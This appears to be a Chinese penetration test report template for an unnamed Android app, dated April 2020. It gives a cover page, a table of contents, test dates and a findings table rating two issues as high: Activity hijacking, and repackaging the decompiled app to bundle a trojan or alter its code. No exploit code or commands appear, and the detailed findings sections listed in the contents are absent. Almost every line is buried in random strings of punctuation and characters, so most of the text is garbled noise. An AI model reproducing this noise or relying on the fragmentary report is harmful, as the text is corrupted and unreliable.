) b0 X: W9 D' k( }) S4 a5 ~$ n8 W# m! I$ |2 t W& p0 K4 z! f
* D' \$ z/ n1 o$ V+ u! [
0 N6 I. m. Y9 |
4 s3 Y5 T. K4 W2 d
0 `$ `1 P# b: H6 q1 t, f; v, K . s$ T5 |0 O7 A& \% h
m; e; U+ P | D6 ]
: g) r4 f; U# Y. l( i/ {
: j9 J: A8 Q* q. t 2 U }0 V. K2 N- Y% e2 ?: e
' b1 d5 |3 d; x+ `6 O0 P 文档编号: ! [. d( \; i9 I/ b7 w
' f: ]- r+ D0 w+ J2 v$ \- _9 e * m* @5 N# ~. c" I+ ?
- k5 z: |% d5 a# k$ W% \
: W# s+ ?% [( o+ ?) l3 t
/ \3 t! m6 v A* G% c% Q. Q" \
; u; g& j6 @) |$ ]) k! ?! v$ L1 m7 p% l+ N) e' ^9 R$ X
! l4 n& Z D* m/ p6 }& `) B3 X9 Q9 @0 W3 q* `9 t' U; r. Y
9 X- [, E% n2 z4 {1 I$ e; r( l+ i) ^/ h: I9 l2 l8 R; J
/ D# u' \* u; L: U7 ^9 b9 m$ t9 ^) K0 d7 U& I3 ^
( b. v1 `- N; Z9 A
7 I2 o. M4 s' ]- _1 P- K- C & Q& }' B4 j5 f- p7 L! L2 Z( H
) l, n) T5 u/ B" F/ I- k- I 8 c6 k8 ~- W5 q/ [ @- F1 u
* l! m, m2 |# S6 J& R$ ^ 9 \$ c+ _ `$ m& H; T, K/ o' w
$ a# E9 b. Z0 m! F9 Y
0 n0 d5 m" ^6 v" v- E/ u8 z9 ?
; U& C, @1 g$ l4 Y \3 Z. H 1 e" i- c" f$ y9 h, ^
" E" B( I- r% N* k" v
: i( |, Z0 b5 {! z5 l% `
& j1 y5 V) b/ x$ A, ?8 v
/ I; ?" U; Z- l- E* w- q& f1 k v. a) h0 d6 ~$ s7 c" l3 }
4 V" d$ r" }7 }2 ?, c6 \
( t' @( {" N6 N ~" h: }8 p ! L: d3 C d! a4 V2 D5 ^, E5 Q
+ _/ H# c/ L) J$ z- z+ l
L- _! p, U$ q3 t, B; V1 I7 i9 p5 V4 T' d, O' V* v V5 V
某某某APP渗透测试 7 o; Y. J: \# q; O
, c( h+ y1 m* K& F3 g
' B7 o7 S9 ^) F( \1 B& y9 F
1 |1 q) H6 N- N8 c1 e7 Y+ q
5 u1 R( O! \. T" k9 `5 u2 x1 ~! o. a, \& ~
/ x& Q) C+ J- E$ ]4 ?3 ^7 ^. b
+ g( ?7 Y- t1 v. p: k5 L* C ; j/ V0 g/ F1 z
E3 A& L) `# ?& R! g " _! j* Y" E' E. Q/ ~+ v2 N
/ V s7 N4 n0 p( n0 c+ o ' {0 U- h$ j* O) q& c
E4 l8 V9 |* H4 e0 V( s
4 r7 a1 x( T0 ~* Y% E( E8 z
, r& \" R: z! c' y8 F7 C( ? 5 m2 E+ t) H" }+ {2 Q2 X
W$ W, l3 f2 W: s
) ?! b0 \+ w# {5 Z! R
" [/ F$ e1 m; I+ c% { # I+ _+ X( G4 u$ Q
. {5 D& k. g6 ~/ l& X
, h8 j& m$ ~/ M, Y' ~2 l
7 v& j3 T7 o m' N0 }
. D1 d8 `! V, _1 Z; o2 B& ?. O0 [- Y' U; | i/ U E
) u# O7 F# }) b/ `" l/ j. n
1 H. R6 G8 T& S
" \# A R, ?5 f7 q' }# n; T3 x
; m T' M+ f1 @; t1 J 技 术 报 告
& d+ [/ ^3 ^) a& O' _5 i
7 O; Z$ u" s1 S. X" o
& \( f; D7 T; v$ {% I* Z" C; O5 q1 m+ Q! ?; k2 S, P4 {5 G$ d, _3 ~% e% [
{ T$ i/ Z/ k7 O& z8 j
, K5 j C! N* L- k n
2 c ?1 [. C. j; U }: v' O, y6 C
/ y* A+ R4 p2 I/ G) r , ~3 F; ^( z$ }5 p
: u2 O! S. \2 F' A
4 d) M5 g8 k6 F8 ]& ]! O* _
1 l- Q1 V& U9 J1 C: u, h$ s( | ) h% m4 D3 C; L3 @8 \6 X% U2 B+ P
2 x1 J& _/ Q- V
) K# N1 M9 F# ? Y: N# X6 r. i; e8 \, e/ G
Y9 L7 D9 k7 J& g; s+ n% N
5 R4 o/ T' L: I5 b' ]& P
% b% }2 A% m+ G2 ]! g4 @( a2 F
% s# [, o/ [* c- w$ H 8 h! T4 Q. f( \
( M) h) ^: o- {& x! V
& m2 |. K) R/ ^- R* t8 k( X" e
; J' E' }+ C6 Y% U( [
3 a1 I1 c7 r) A3 S* d9 r/ }+ X6 d0 M- j3 o8 q3 S1 K! S
- {! o3 v9 ^" c/ ?
, x; e) ], Y8 j: @6 g
6 x1 Q3 g/ c' s8 P- p8 _8 ]
: q! `4 [" K3 v7 u" ?# C
) F* p5 g) I* B5 k7 R
# {; }! Y7 B I8 l' }: K6 C8 v
6 a# O- l; @. p0 F4 _) k( e7 _8 h9 a* N4 r+ ?
( J; J# \! @& v, y* d5 B! c
/ r" m" d2 V" k) V 4 l0 \$ T$ D5 _' V6 m( ?9 D
. @2 i- ^5 L6 B+ ?+ @ & M6 j* T- r+ u( Q. f. y* k v
5 U: q0 N% ?7 p6 k) I
4 q" B4 C. \6 Q% z8 Q' m# ]$ N, ]0 R# @1 w
4 A" a/ ~6 Q2 k. c
1 _$ s Y) D0 _$ G! f + H6 x0 L. {3 |1 G
0 H) k, {6 [: W) a
! I' N+ P% _4 N8 x
4 e* M' K X- M) H3 p& l
& P6 \( G" L8 u; M# z7 m, l
5 _' K$ k `0 \8 ]. R. Y6 M
5 F! G, a6 m/ f0 a i& j7 V' h) j% @
: i- c! M) x# i1 @6 Q& G& p
5 n2 i5 H5 f, i4 r, G / I0 ]1 N; X8 b! Q
$ g' ^' J# n6 Q2 Q- q- q9 T- L
6 z) Q1 U( m1 p% u/ w' \1 y4 C
* R8 W. ?* C* N: v/ B; G5 d
/ A+ v6 Z! l" b4 ]$ i) q$ E
" C5 u, B- S3 Z/ l; e6 x" ? , D3 X9 V- {1 b; I
5 y' ?( q8 O) t2 B
8 \& @/ b" l, x. M4 X# g2 Y' Y
& {% c( z+ |1 y1 ~+ o
! b; L% t) y- y; q8 C- d$ o
; V3 H( n! C: x* _ 3 e* E! X8 R% F7 J1 J
% \; {0 k: A" t' \, E$ V
1 q. Q3 G# A" W2 u" c
5 O- i) |* O2 ^6 g* d! g( Z
5 }4 v d7 P8 f0 ]8 `7 ~3 q9 J# [0 s* I& A% w
( U) E' A9 C! P9 @1 Y. w/ ~: t7 r' ]
& w! j) m& [! x h0 N7 S
- Y% {2 v" M6 h* r3 m: p* x4 W) ^# H
# q$ b* Y: w4 ^( v, |4 t9 b
) [2 o5 y( N; A' Q3 a1 w2 R: s4 V) t 5 J9 b3 s% c4 }/ H. t& v0 o8 V V
, ]" z. L: Z9 Y) e4 t; y- m1 s ( o! {5 A0 {' Y2 F7 f% p" }* i
* \2 j" J+ J' \0 S
5 V; J% Z* Q) L8 @8 x: W; @& A5 p0 o5 q0 s& s
- W% n8 _0 S* n9 j# f8 W8 t; q7 N
6 n# s( g' \2 d0 C
/ \+ a( k5 M; F 2 }0 V" ^3 z! l/ W" @
0 t' [8 Z- i6 l7 F: X & ^# w& K% d' A, ?. y2 _3 m1 x
( t+ v- M. a9 X* U
7 S0 w+ d8 t1 g6 ?
$ L! L: q3 \+ c2 ]! g1 L8 ?5 H 3 B( b6 W$ s1 U" K/ k
8 C- P4 V- [0 _: Q
5 M" `4 A! d; s, e
; P# B3 C) [( Q; w( g1 ? % U, {4 c! A* f$ Y
3 j/ w" g0 v( G' X8 v3 k ( ]- e: o1 p* J* g
( e4 W6 L, s0 [) V* f: g; h5 A2 z - Q( [1 \/ C, p5 z7 o9 {
- n* ~; ?8 l' C1 |/ V : W! z0 R/ o- F. b
( R& k: {+ w, t2 @3 F$ }
X. i& Q+ J7 v+ k9 y4 N7 k5 F7 D0 W! e; i% K
! b2 T; P% f8 V4 {: H5 Q( a4 M+ p, r1 M: _ c( I7 E9 D
y8 m3 g: y, @6 ~# l
3 x5 A) V3 u9 i3 R0 f. z
+ d' L9 f o7 |9 A- Z4 h9 \1 Z5 S6 o6 d8 h5 o4 r+ L9 I$ b% w t
二〇二〇年
2 D+ o' R, N, h8 m" b. J w/ k! r5 E, m% R& q* V/ u
2 y S6 T4 y$ w7 E! T6 ` N5 j# B
0 N: }- o9 Z6 u7 L/ G8 t
/ {) W; v$ L* @7 x0 }9 I5 \
, }1 y9 X3 y @* h( g( ^ & ~5 k1 x1 w _% ?5 z# o W
5 U4 G" u* A7 S
' ?- @" R; N6 F* I& j/ D( c" {1 n- a A0 S1 l
( `/ T# L& i5 R) S6 A
0 z0 `5 ]2 x2 A3 g- F, k% S2 | c0 C7 w0 r6 d* P9 \4 o& ]7 q% o
( X# |& i6 F( A" ]! `3 k
: w% F# E X$ _1 e7 ~5 l# c6 m9 _; B: r6 R
- l/ X& {- G# y: r" r1 K
% W- l- z4 D5 k# H" S! T; ] 1 A7 @3 ~$ A @. u8 h5 }; H% ~$ l
9 |8 j1 P. a! a6 J; X. K5 x
% Y/ X/ c" M7 _8 `7 z% b2 C! \ o7 U ~+ p S- h1 k+ i; h( T
目 录
2 _2 F$ t$ ^$ S1 A2 D5 c' N0 {( ~) O; s
, i- {1 i% z, G) r: K9 _6 Q9 ~
) Y& e8 S" F3 z. b5 X) I 0 G. b2 O- q9 I8 r
8 N/ e0 f$ m+ A$ s: n
" K2 ?. U) ^7 Z1 t! H9 N2 e9 X: n" c. B; [' y' n
5 l j! w8 {/ b# b; l& Z& X9 Z v8 s r' I! U3 N% p7 C
2 x0 X0 \9 L8 J& a: Y7 K
. x$ E* k& c0 z/ j2 O, z
& }6 w Z8 \0 i' ^' W3 T
, |: D0 G& N) Y0 Q$ d 1 概述... 3
: W' D2 _( J% G3 v, ~
5 Y4 Q4 v6 W5 [8 A% Z# v1 Y1 `9 W
2 B; l0 a" l2 H/ M! F
. [' v/ o7 y+ L* N) _* T6 _" O 1 V' B( Q, O% a* H4 f4 ^! D
! }/ w: z9 J/ j6 k, w/ Q
1.2测试时间... 3 ; A* {- f4 W" q& J1 s
3 t- q; j5 G9 L+ K8 w) V: O4 B$ h
7 D6 k) A5 W3 d) ?% k5 e8 d" {& l- ?; ~
- t; R9 |2 a% N) ^6 G- {
- I& c R8 ?8 a: m4 z3 U' ^& o" r 1.3测试对象... 3 3 V! w+ ~" a1 y7 K3 Z1 p# d
# \) K$ d$ w6 u! ~" ?
J2 I+ p3 N2 [; G" G
8 A$ c X, @* R/ @: _
1 m1 h9 t' f! Y) v' E
# }: ? E. \' g7 V' R3 A 1.4测试结果... 3
6 Q4 h. A; P! w7 E
' |$ |1 `$ a' F0 w$ z7 J& h
: ], |6 g5 d4 Q: z8 I+ o; j, q: a2 P; g& {) f' _/ k0 y4 G
, w* z8 z n, S& `9 E/ _
1 R5 ~# T, a6 t9 R4 K 2 检测结果... 4 8 a- Z, F* ?0 U1 H* N
3 a1 B4 ?% a' y: {+ E
9 }7 B' d$ I- L" w% D( r% Z# Q! T8 l- M1 Y* M% T8 N$ f
; U' p. i# {3 E7 E# [9 s7 U
2 H2 m' h5 G6 }1 v# U 2.1 某某某... 4
% r* J0 |+ M& F4 E. k; R" ]/ P* I* Q3 }3 X. a& }
- k" |; Z* w' g7 B. Q, z: ?4 ]* m
0 C5 T% x0 a# w# e. L* Y) m " l3 S# x; r! Z, D( |0 z0 z# N6 T
) ~$ H8 s) \8 Q* ]" O2 T8 G
2.1.1检测目标... 4 6 x, D. m, S& A# [- v
2 d) ]2 M9 m2 U2 F5 ~) q( I. A
0 h! L6 J5 [4 ~+ k j1 L
* A" i3 g( B9 x' ^& Z
7 O% X7 j! W+ m0 ]2 N' P8 r$ Y4 c/ i- h6 u& \
2.1.2检测结果... 4
/ m* f- y2 K* i8 s! Z7 I0 r+ W) r4 M6 E) Y! E
. S5 i4 A7 A3 | w& T; e' w& N& J7 Y6 }' m, @" J
: w; d/ C9 D# j' L0 P: k
- @; p4 P; G' E0 v7 h7 B; K) { 2.1.2.1. 4 - |$ \7 O1 k0 h& }: I
( |& l+ H& d; T+ T7 @" k
; `3 x! |" X/ b) \7 l! t
5 D& O: L7 Q9 n& y 2 c+ A8 }9 U5 ]" F- x* q5 w+ t
; [6 C0 }* ~& E& E5 T6 y7 y' h 2.1.2.2. 6
4 R( U8 t5 B/ b# Z0 _
' G' e$ B3 i; p" A % {0 P4 U* {% Q* i; F& L2 B: ~6 x
+ I" N/ R# z2 N+ |/ |$ T: B
9 o4 i* U1 n) `& ?6 N
W; g: a" m. O' h# b
- U$ `& T+ D' y9 m
1 G6 u$ P( ]) \& J4 r. O: w& D
1 `3 ~' K& G9 S8 p
* `: I* p6 g5 _, C* p% ]5 q) o5 x7 ^
7 R' O. S1 r' t5 [1 ?9 I
8 \4 s* A$ \' e; T8 G& n4 v" }- w2 B3 j5 r
: y" W; V9 c+ z _0 N: R) Q6 f0 b0 G. I
3 B' t1 d) ]- K* n: S& }$ h, q" y3 b. R5 l3 }3 g$ L
' G/ T/ J; w w
5 ? j' o. B' U+ S
1 概述
# x. b6 W' s! ~6 `& Y6 c0 ^" m, P( u9 S2 H: ^% ? j
: x/ U8 P, L5 Z( n7 l
3 v M: M* }( X( o- {- n6 a" D1 S! Q 5 u- R) e/ y! J- `% V& ]2 A+ L9 V
( h: h( }( ^( H 1.2测试时间
9 X, u+ m I# m, q
% l( w: M1 z! R5 C- u
" b0 k- V I \6 a+ Q. e$ z1 U! c5 K2 M+ j& ~# F: F
3 [7 a3 x9 P* z
. W4 d/ s3 E! v, {0 ]
0 ?! D0 H3 x8 I% E% n" P
4 E. a2 s+ _ D; x
+ U! R# J" G! S, O, o( I% W! b$ n; }- P0 b; }* _8 Z
|
3 w- m) a2 k9 v# }9 L" W+ w% s0 P O, E4 y2 a* H& R" @3 E) R
w. @9 Y3 x. E, q6 m0 j% F1 s# U
, G1 M0 H& ^: Q) F; f' G( p 渗透测试时间 1 b% e _# G! N4 w: k H
- f- \. S: i5 c l 2 b) f7 [. v( E. r4 S
: a0 |" d; z" {. {0 u
|
) S: m1 L {' Y7 T* ?
: t& m. |" ^1 ]) w3 s5 d6 y8 } . H4 S: p% F+ U+ V2 {6 x: v
4 |- m5 f2 ?) M a " ^1 }6 d0 i+ I0 v" l& S
* O) B% x. u# Z6 k |
: g/ Z) g) m7 }# e+ r Y& w8 F* o: c8 r* G- O+ q7 E0 Z
2 Y2 D: S7 x* u1 }
! f5 n2 |3 c3 z, E5 }' a 起始时间 . v' J* x# T& Y4 D& ~2 m
$ K* u5 y5 Q( M: Y) @
" H' A# {6 [* d3 T, l, F/ i4 s
9 E) E. ~0 d% i7 i |
3 c5 ^, f% v3 Y0 J3 P' F
8 r8 ^" S- i2 \) Z" Q- m) R m# Y- }' c% E' Y. f `
5 d- p5 A3 Y+ t5 _; v
7 i' L6 w" w, V! u
/ d2 a8 X2 |* D, J& j1 | 2020年4月6日
) u: r, U7 J& y* M8 w9 r5 j; A& }/ C3 i2 j0 x
% s8 k% S1 c ~1 y% j
0 o& r0 y9 b* v9 o) D+ ^1 Z4 V | 7 V& h) y ]/ h2 S+ a
: \: t" d5 P8 V9 ]1 G. V o$ X
' \# H# |1 s4 E9 X+ G8 e' i/ T4 f) W* A- Z
: a+ f% U: o$ ~* O/ D
6 v: q$ F# m& j' }( v$ }) e |
, f. ^* t x1 G) P, L7 [& N
2 ?- r6 [/ l8 r) c+ g- I - [/ @3 W; v2 f: _+ o) a
# s8 N6 \" ?9 s+ c2 \1 O( n 结束时间
9 @, N! O. k( ~, l) {6 E4 j' G5 m" W0 h2 X
4 I5 z; G3 T( b' j7 \# z% m
) S, f2 C4 N. \7 c9 D; p, N
|
' U7 J4 ^8 u& W% `, V3 u& L" l$ v+ H# o( G1 M3 N8 b4 |, K. p) E' H8 |
9 d- p' q+ {- R+ y5 r
# G, T6 X6 N: r& ]0 l
- R& G" T3 E/ X
0 ]9 s+ x E4 w& S& x$ m- T 2020年4月9日
5 ]% ]3 W$ w: ` V& P
+ z3 }; n. b/ e% g% n$ [/ o9 f: t6 q 3 X5 a5 a2 z6 W: O/ e# p1 r$ n
& X. F7 s0 x/ Z* X/ |( B |
$ j; X4 p& N# h0 y4 P- @1 T! i7 O/ ^+ l/ M' ]
% T2 M, V: u2 ]. L8 h ~1 _% R$ r' x: d" q8 b$ |+ p" x
* A G" u u6 ], g; e+ [5 @; ~
5 }- B$ c2 N5 S. I
. W! g( P# S) v8 G
& @0 [# |& m0 Q6 u- Y 5 |; i. y2 D, C/ d+ p! L/ u8 T
# Y: q0 Q3 U+ D" I6 L" g' s 1.3测试对象 3 V. `2 b, v6 J8 m1 v5 }+ t$ \
* G8 J6 \! R& v6 W+ Q
5 B1 A# H% x( ?. |% Z9 w; A/ ^1 B
2 k" b& ^( p, l3 Q) n0 \. u; v
1 D4 n6 ?# f9 C7 i2 C 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: ( n! U9 E; q7 M& h# ^7 f- Q; l. A
3 D% b) Y5 L6 G1 o8 a
6 O- x! ~1 C# M
. @) ]8 T5 }2 A& o' z* \( g
6 y+ k8 C) g- a0 a
$ U3 \ H* b. ^ 表1-1 检测对象 5 r5 k7 y( `7 N( s
/ m2 m& Z# {( v8 ^- s! p
) A, A6 F. z, S$ r Y9 M+ U1 R, T3 w3 w9 ]
% \' X' a2 U% L/ @8 a- e
, K8 k% k8 k0 E1 Q7 _& a
% ~4 J! F# F( K$ p8 d
5 ]' @! r$ i9 U2 b+ t
( ?' r# x/ ^& T: G7 s j4 Z- f, [) @- r1 n; V8 W( F) j) j) M
|
. H" p; R: o. |9 c
6 Z) F4 u) b! @, Q5 Q+ j
: L4 C3 T8 }% q5 E& B
' R' p6 J) }, y0 N 序号 ; [) F/ r4 F$ b) o
- f2 L8 O4 B0 W, V5 H
1 A+ G T# c: }8 U. l
) Q- r$ m# D3 h+ p) i |
- B l3 M" ^/ F: c, a( M9 R5 x( r! \& f* y- a: v4 B. y
; T+ |4 C8 y. _
\7 I6 ~# M9 z% U0 B5 Q+ X: h
6 m# X% }; o$ X1 A, ~' B
0 Q3 _+ w6 Q6 I5 y' O( j8 K 测试对象
* H! o8 S/ `) \/ m2 G( w. K( @
, g1 M) O4 K6 a4 X! r U) S5 m- k5 ? w! o4 K( B/ r
! Q. j0 _+ s( x& w5 `
| 8 M' A W7 Z. s2 D0 C e" [# |
- q1 M8 T! m7 V$ x7 p8 N: @. T5 b
8 J/ P- U; \' l! m/ S
8 h! ~: `% D1 K$ H/ w" H+ R " D: V9 ]/ V/ [* }9 P
9 m) j5 x$ y1 p% f9 Z% ? 测试地址
- ? j3 C" T5 K4 E$ }, O+ W8 f' v+ Q
" S: ~! @6 I5 m8 T" Q. } $ C: [( @. k5 f
% p t5 [, L/ u' D% S# ]2 ` | * S8 V! Q. D! O4 R' [9 k( ?, [
% D: ^- r; f0 s: O
/ \& h; M5 i4 _. |0 {
* p6 E9 T; ~1 G7 B: }' h; m
K% P: T N$ u4 w$ _: f( ?7 c) V Y0 o# o7 j$ \ O9 u
安全漏洞 ) L: b4 S& v3 J% w! h+ w& m+ \
# P, g% M8 F( U: {* \' h " w, Q O0 M6 b- M" u, Y b
; ?" i- P( I% J) F1 z3 { | 4 f J9 S( t! m& u$ h* s$ k0 v
/ J; m! w. a) Q9 F3 T% ~ $ _2 n4 Y, v4 H
. T8 A" Q( a$ L ~ Z
- Q; [/ x6 K- D6 e6 e" l; a' n8 ~' O; V
| $ e/ ]; V% U/ v) {6 s2 x# b' S
# d8 L9 t& s5 O6 d: R) ?
9 Q3 |& T4 S( j, d* s- b
+ g) D, o1 U+ B3 T3 ] 1 % K) a/ c' q. n# I
' v4 P2 N5 P! n8 Q! z/ l" J
$ p% d3 o( |' O8 |6 X+ M; d p( X, a$ Z; y1 d
| * y2 p+ Z' U/ g2 H
8 F8 B; W- Z* ^8 n- @! ]% P
0 |/ G2 X4 q! u, E; ?, l/ ?" J w# B" B0 t" X- A3 a
1 s& K% C. m, d% Q# {3 W8 z2 ]4 T# u7 V7 s% H2 D! s
某某某安卓APP 7 x0 `" S+ j1 Q: E! c
@) H L8 A# _' D+ i1 z% w) t5 C
/ Q0 J) o$ }% J1 a+ Q6 x7 p: N& X% C* y1 ] }) U: c8 ~
|
2 W2 T( W3 g) a; F8 P) K8 F7 h- ^" O. Q- W1 x9 G# X" h: \; L
) F+ C% c% t2 w3 j" h4 e4 d( M/ d5 k+ _& y
2 _6 s; ]- S8 q" m0 N1 W; F5 X
% V _" g2 \* a/ M
0 b2 f a& h, L: f0 j) N/ N
6 M R) q' c$ H8 K8 N% r/ v
& i a, A( ]5 h' f9 z7 Z2 c& q
. |) e0 R& [! ~, b | ' z2 _& ]) E0 e2 K; h
7 M+ Z" V2 [; R4 M# }) V
) \ ~4 f& s- U, X" ?5 o+ Q$ ^ o: J8 x( r; {6 S5 y7 r# H
$ K+ g; C% b2 Q/ z
; l& }4 D0 P. ]# Z' a7 Y2 e 2 0 V+ C8 I, F4 {, C4 Q
7 u( o1 B) c2 y6 j
# m4 I- _) B5 l; _& m
9 t# N) x& z* \( Y( {1 P | 7 g8 Q# o; x* p* {9 s, g
, j4 j% `5 j( n, N# `; ^* H
/ G; @, d3 z2 l
1 P3 A7 D/ T% V4 S" \ O/ `7 }$ t. y5 q$ ~
" H! P) B* K0 }6 _ ) F1 k A, _9 D
, W3 V; t" ]+ l, @/ J
# I; f$ y' t! n p8 u' P0 I0 z. N7 G+ Z' B4 p/ N1 J1 P
1.4测试结果
0 R* e7 n' O) N8 J1 a* ~- V5 u% B2 ~% a. a% T
8 p3 F9 N: n$ N3 s0 d8 _5 u9 B& v K
- S6 R, J; f% q9 O0 I5 ~ ! B P# b0 C1 e; t1 z2 d
' P- E$ p) k/ s 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: ; U7 E& S; @( M J
3 z# h- z' P% s" V* n8 }8 Z4 ]
. f3 P1 \. q$ _' P8 a' {# B7 p7 C4 L: U' X- m* X& g t0 m2 R
# u# N `/ {1 J% u3 w8 n' L. j0 d) A/ J0 Z7 ]% h$ t8 F6 d
4 v# t& [' U! Z9 N9 B8 Y6 k& ^' e' Y& O3 M' S
( Z3 f( r7 U$ ]/ f, {) `
- g( j/ {' o# c
, C: _% T* x9 m2 w% C$ o, [4 w7 F+ h5 n9 `) _
6 E7 @) q9 G7 b( d
! d' g; C: `+ e1 X
6 y+ k& B# |# T* r" l
, ?. t' l c; K: E' j, b' _9 q6 f( D & F* Z. F; W8 u6 {0 V6 I
% F: A' T W p* d | : j1 H2 V! A$ @+ s
" e% H& u, @/ j; m! [ O& k7 b. x& O
8 T5 W0 m& o. S6 D: [. o) `; D
( x8 h2 n! L8 f 序号
4 N, q& G. @9 \2 z, _ e7 B/ a- h8 I/ f+ Z
# ]" Y. v3 u6 [* ~; r# l& j
* K& B8 O/ E6 x# \5 r' F2 i N | * [& w6 _8 I; J# t
2 l+ ]1 L. P3 ]2 V: R; q* u' i
, B9 w' q6 W4 k' e! `' `" e$ V/ x
- g. B I& f; O, A7 Z 7 x! c3 R* v* p% o; O
4 J! a5 u7 @% ?& a
系统名称 2 A. i* f7 g" n$ e" o) {
6 |& X# i5 t. k6 t @
. b) B8 m# M; w0 E4 V; s3 C9 l' v
. d2 }: }4 _# Y/ k6 U
| 1 L" v$ t* ]( B& A% ]
1 x) u- Q; q& i. \. V ^ - [# K- p" J5 [3 i0 B: |
; e5 m" E5 \2 r/ H) h5 q& [
" G# r. D0 R8 a, Z( M) F1 d$ U. q8 Y1 s: v
漏洞名称 * B6 I3 Z* |- G: v7 A# q
* p1 _* I) s1 r' N# h5 r1 z6 I
1 @9 d, @1 D% f5 \) t( R1 q
, F0 `2 R, k+ _4 h( T/ ?* n3 b | 7 I+ ~2 p7 D: M9 g6 g& b
! ^+ l" E# s; ~1 z6 | 5 H% @) h6 |+ @9 g! C3 o* A' v
. n! I n) V- F* L
- k8 {# A# H* j9 \/ l5 C* u
3 c/ ~5 M+ J6 f$ m1 r3 B 漏洞危害 ( }. Q& u! f$ ~0 c
7 B! M( d# b3 M5 u / Y$ f/ w# o1 S7 ^0 {2 k
9 e" ]$ f/ L* y; `+ Y |
0 F& f. z( e: n w5 R
( {5 x5 n0 t" i* G! B) V. [
, h: U8 I" D% Z% y6 O
& E. B% I" M) E9 ?& a# M: l- V F9 k; m* u4 ]2 K8 Y( o
3 q8 f3 O- n& j' L
修复结果 . N- s5 l/ c4 i2 I& V% x
& Y) L' C$ b0 V8 q; ] 7 Y, O% x- A7 i" x: ` R$ T/ n
& A) m& v4 b9 b+ @# @# U
| . h' Y! ~8 L+ l1 Q' e" R6 j
3 k% e; S/ w" @& o5 H8 o0 U
. Q- e/ t# D9 v3 `
" d; u y& p. q% z* q( i; Z
. e4 N" \6 E. j( g- V9 d
6 W9 n. E# d- b# `' j
|
1 R @+ a, b" Q; b
! M G& V/ {" @8 B5 h 0 o9 Y* D: w8 n! y& `. C6 O" \; o2 \- K' h
, C$ m8 f: A2 H. p 1
& A, ^$ G7 ^, g! p8 L( J) O
* W; W. e3 S/ R) ]
9 Y3 x2 O: }( A. n7 Q" o4 n) l) I/ m. P4 \: q
|
3 Y. B. L1 S4 k4 m8 o% ^0 l% R! p" a" r9 a& E& _$ T
$ Y( Y Z- T1 o0 j; G4 j/ l( B) f* H: @: ?; W! l9 b
- t- ?6 x$ W0 G2 A4 d
! t# q( [" L8 M/ R4 M0 _
某某某某某某APP
6 c4 r0 y7 U2 z0 v
: o5 f. o% S% D: @1 t% q) m5 m 3 z8 E- X" d9 n! x1 _5 ?7 y/ y; k* D& B
) `, k0 x/ R8 F
| , @: b1 T9 }4 H9 L
8 @; D, Y P' [5 R ! M* a- s% C1 k
: C- G0 D0 w6 [9 Q; u- V3 T
% } Q$ J H9 u% |
, W9 Z; E, \0 E+ O0 }: ^ Activity 劫持 , M, J# p- t; o# N Z
! q. o- Z1 \3 |( L" N: `1 z4 p
% V9 @( k1 G3 ?. n- P' s
4 Z+ F& Y- q1 b3 r" c ( _; e" [3 k; f+ t
# S* } Y% E0 q6 \1 C6 Y 8 z4 ^* p) h$ s# N* \
. W8 w, W% r/ U8 \, V0 Y
. O7 r# W3 j& H, l6 o7 R% s0 L7 j1 P$ \. k* Z7 J
|
' m# L, N8 Y& E# x
1 F6 H! t; D9 |5 O5 z8 d9 Q. o 1 w* G1 t% o* R. ^
, s& w; X7 T* H; L1 G. J
" P# w8 [. Y+ Q! c4 S; Z% O8 q' h5 U7 \( t; }
高
" S5 ]/ z) U* ]+ O' D
, h p6 }& y4 j& J) d9 q * R/ ^8 g3 T* {5 p& }6 g
0 K4 O7 h) `) ^- t3 |" F3 I/ j |
# a8 X. t2 @' u; m, f! v% E: l2 F& C; G5 J
# q: ]3 K" J: q c' J6 |! a+ J
6 E9 Y: d! s8 R! P
: m" a- i C( B( r+ t+ Z' Y* R$ x6 `7 R
, q+ F4 _1 Y' a) X, f% o. @
- ^! q4 N |; |/ x2 P6 V* m( Q
- l) ^ D/ K7 n# s8 W& L/ N1 U0 z1 g& f2 J* n1 d3 F3 m
| d$ I5 c r( M, f8 O3 y! }5 K
* L! C$ T5 \' C3 @0 t9 Q
3 I0 H( F/ M# Z, j4 r( x+ S0 |0 {2 g" p. Z9 U7 T" V0 H* }
; ?% {) y) d" d4 v6 l! S9 O1 y( _
1 {& z* {8 Z; }2 } O | / k q5 }3 x8 t: e/ O3 Z6 t
! `! s% T2 R& k
' D8 o! T! ]( N% g: l" I6 L- i; L$ X+ O& [0 |. e& u5 V0 l7 v; w' L
2
; k) z7 }# o2 c7 a" H2 Q0 b+ i8 r5 k+ \& }2 x. E
; D, D+ [9 `+ t; r) G, V2 Z# F1 q2 K: T6 t
|
0 D3 T) E3 g/ ~: P9 C& w. i" [" l8 [1 o/ G: U/ b
! F2 ?4 K5 D" Q" w# @9 @& s; P6 E5 _! [' ~* K
5 |, h7 T: o+ C* v- _1 S8 F) w( j. K$ o% D- e
某某某某某某APP
' ~, y" h6 {; G! J A$ e& f7 S2 d7 u& B% X; t, s- ^+ O* x, R
# g! i1 c0 S+ k" g: s( o
' C: `& m9 }& N4 O8 P$ z
|
: J# L) @; d* @7 `& r# \4 S' M* r( N1 M- M6 ^: X$ @) {
+ ^ w/ m3 S) e. w1 b1 O! Z& l5 I+ }1 _. t" u
( U' D# |7 k# `# U7 e+ S a
# |& K! O2 E& N, J& d 反编译二次打包捆绑木马、篡改APP代码
/ N0 _3 A% j/ k# t. `) L- z, i; w# A$ g/ b2 J
. y( ^1 L# Y* n; ?; B
8 ]8 l! S F, u3 M8 i7 q( `7 H
|
+ ?/ x. o& _9 d2 ?! e
7 X7 _3 e. v: `7 X& W1 i% c ( S) w/ \3 r% v8 Q& P
- r: K7 j8 q L
, Y0 _$ f- ?0 V: S! d6 d3 P$ @2 Q4 X2 c# H
高 4 c# f4 X1 e- w# g) J
- |- b2 n3 D: `" ], S6 [# c
7 z7 ~, Q1 l8 ?& [; n$ a: [" e' }$ r& E: f6 y
|
- ?& M% Y( \3 E9 N2 `4 b& A8 l5 m. L2 U$ ?* M: y- H
9 O! n- t/ h& d2 e k) t
/ }9 O, R! w0 Q$ k , Y$ N0 C/ z, g& E4 o
) d: ~; o3 b5 T b+ S8 ~
3 i4 \$ @2 c& \2 B$ O% T+ g' j
0 B2 Y7 O! x9 S) Q9 r/ M Y+ j) E" _; ^
" x$ M& W8 k. y |
! q$ K+ N0 }5 h0 Z
: z% E; L7 D9 ?: l" s 4 Q3 A+ p: z# v$ i
6 F2 ^" E. B) Z& [, u/ p) a0 B
/ Y D3 N! a' e: p# V, x9 x; ^& |0 o- _: \
